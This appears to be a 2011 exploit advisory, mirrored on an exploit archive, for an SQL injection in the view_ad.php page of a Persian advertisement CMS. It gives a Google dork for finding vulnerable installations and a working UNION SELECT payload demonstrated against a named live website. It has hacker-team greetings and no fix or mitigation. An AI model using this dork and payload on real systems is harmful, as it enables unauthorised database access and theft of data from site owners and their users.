Agahi Advertisement CMS Sql Injection Vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                        [Details & Title]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[~] title  : Agahi Advertisement CMS sql injection Vulnerability (persian Advertisement System)
[~] Author : Sepehr Security Team
[~] Discovered by : hex1369
[~] Date : 2011-04-15
[~] Vulnerable Page : view_ad.php
[~] Google Dork : inurl:view_ad.php?id= OR "Power By : www.iran-team.com"
[~] Affected Software :www.iran-team.com & http://www.centerhost.ir

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                            [Exploit]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[+]Exploit:

http://www.[sitename].com/view_ad.php?id=[Sql_injection]

[+]Example:
http://banketabligh.com/view_ad.php?id=-523+union+select+1,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18--




and more...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

hex1369 is here...

site : http://www.sepehr-team.org

greetz :  thE_Knight , Naboodgar , W!Z4RD , Einestin , C0ns74ntine , H3X 
and all Sepehr Security Team Members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                         
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



#  0day.today [2018-02-21]  #